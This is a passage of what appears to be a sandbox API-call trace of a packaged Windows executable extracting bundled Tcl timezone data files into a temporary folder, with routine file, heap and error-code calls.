0x19c [0040.962] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546790 | out: hHeap=0x530000) returned 1 [0040.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.962] CloseHandle (hObject=0x10c) returned 1 [0040.962] GetLastError () returned 0x0 [0040.962] SetLastError (dwErrCode=0x0) [0040.962] GetLastError () returned 0x0 [0040.962] SetLastError (dwErrCode=0x0) [0040.962] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.962] GetFileType (hFile=0x10c) returned 0x1 [0040.962] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.963] CloseHandle (hObject=0x10c) returned 1 [0040.963] GetLastError () returned 0x0 [0040.963] SetLastError (dwErrCode=0x0) [0040.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.963] GetFileType (hFile=0x10c) returned 0x1 [0040.963] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.963] CloseHandle (hObject=0x10c) returned 1 [0040.963] GetLastError () returned 0x0 [0040.964] SetLastError (dwErrCode=0x0) [0040.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.964] GetFileType (hFile=0x10c) returned 0x1 [0040.964] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.964] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.964] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.964] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.964] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.964] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.964] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.964] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.964] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.964] CloseHandle (hObject=0x10c) returned 1 [0040.964] GetLastError () returned 0x0 [0040.964] SetLastError (dwErrCode=0x0) [0040.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Darwin") returned 73 [0040.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Darwin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\darwin"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.964] GetLastError () returned 0x2 [0040.964] SetLastError (dwErrCode=0x2) [0040.964] GetLastError () returned 0x2 [0040.964] SetLastError (dwErrCode=0x2) [0040.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Darwin", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Darwin", lpFilePart=0x0) returned 0x48 [0040.964] GetLastError () returned 0x2 [0040.964] SetLastError (dwErrCode=0x2) [0040.964] GetLastError () returned 0x2 [0040.964] SetLastError (dwErrCode=0x2) [0040.965] GetLastError () returned 0x2 [0040.965] SetLastError (dwErrCode=0x2) [0040.965] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Darwin") returned 73 [0040.965] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.965] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Darwin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\darwin"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.965] GetFileType (hFile=0x10c) returned 0x1 [0040.965] htonl (hostlong=0x9c010000) returned 0x19c [0040.965] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.965] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x19c, lpOverlapped=0x0) returned 1 [0040.966] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.966] CloseHandle (hObject=0x10c) returned 1 [0040.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.967] htonl (hostlong=0x30000000) returned 0x30 [0040.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.967] GetFileType (hFile=0x10c) returned 0x1 [0040.967] htonl (hostlong=0xd7715b00) returned 0x5b71d7 [0040.967] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6021d7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.967] htonl (hostlong=0x8010000) returned 0x108 [0040.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x108) returned 0x550600 [0040.967] htonl (hostlong=0x8010000) returned 0x108 [0040.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.967] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.967] htonl (hostlong=0xca020000) returned 0x2ca [0040.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2ca) returned 0x550710 [0040.967] htonl (hostlong=0x8010000) returned 0x108 [0040.967] htonl (hostlong=0xca020000) returned 0x2ca [0040.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.968] CloseHandle (hObject=0x10c) returned 1 [0040.968] GetLastError () returned 0x0 [0040.968] SetLastError (dwErrCode=0x0) [0040.968] GetLastError () returned 0x0 [0040.968] SetLastError (dwErrCode=0x0) [0040.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.968] GetFileType (hFile=0x10c) returned 0x1 [0040.968] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.968] CloseHandle (hObject=0x10c) returned 1 [0040.968] GetLastError () returned 0x0 [0040.968] SetLastError (dwErrCode=0x0) [0040.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.968] GetFileType (hFile=0x10c) returned 0x1 [0040.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.969] CloseHandle (hObject=0x10c) returned 1 [0040.969] GetLastError () returned 0x0 [0040.969] SetLastError (dwErrCode=0x0) [0040.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.969] GetFileType (hFile=0x10c) returned 0x1 [0040.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.969] CloseHandle (hObject=0x10c) returned 1 [0040.969] GetLastError () returned 0x0 [0040.970] SetLastError (dwErrCode=0x0) [0040.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Eucla") returned 72 [0040.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Eucla" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\eucla"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.970] GetLastError () returned 0x2 [0040.970] SetLastError (dwErrCode=0x2) [0040.970] GetLastError () returned 0x2 [0040.970] SetLastError (dwErrCode=0x2) [0040.970] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Eucla", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Eucla", lpFilePart=0x0) returned 0x47 [0040.970] GetLastError () returned 0x2 [0040.970] SetLastError (dwErrCode=0x2) [0040.970] GetLastError () returned 0x2 [0040.970] SetLastError (dwErrCode=0x2) [0040.970] GetLastError () returned 0x2 [0040.970] SetLastError (dwErrCode=0x2) [0040.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Eucla") returned 72 [0040.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Eucla" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\eucla"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.970] GetFileType (hFile=0x10c) returned 0x1 [0040.970] htonl (hostlong=0xca020000) returned 0x2ca [0040.970] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.970] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x2ca, lpOverlapped=0x0) returned 1 [0040.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.971] CloseHandle (hObject=0x10c) returned 1 [0040.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550710 | out: hHeap=0x530000) returned 1 [0040.971] htonl (hostlong=0x30000000) returned 0x30 [0040.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.972] GetFileType (hFile=0x10c) returned 0x1 [0040.972] htonl (hostlong=0xdf725b00) returned 0x5b72df [0040.972] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6022df, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.972] htonl (hostlong=0x47060000) returned 0x647 [0040.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x647) returned 0x550600 [0040.972] htonl (hostlong=0x47060000) returned 0x647 [0040.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.972] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.972] htonl (hostlong=0x711f0000) returned 0x1f71 [0040.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f71) returned 0x561090 [0040.972] htonl (hostlong=0x47060000) returned 0x647 [0040.972] htonl (hostlong=0x711f0000) returned 0x1f71 [0040.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563010 [0040.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563010 | out: hHeap=0x530000) returned 1 [0040.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.972] CloseHandle (hObject=0x10c) returned 1 [0040.972] GetLastError () returned 0x0 [0040.972] SetLastError (dwErrCode=0x0) [0040.972] GetLastError () returned 0x0 [0040.972] SetLastError (dwErrCode=0x0) [0040.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.973] GetFileType (hFile=0x10c) returned 0x1 [0040.973] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.973] 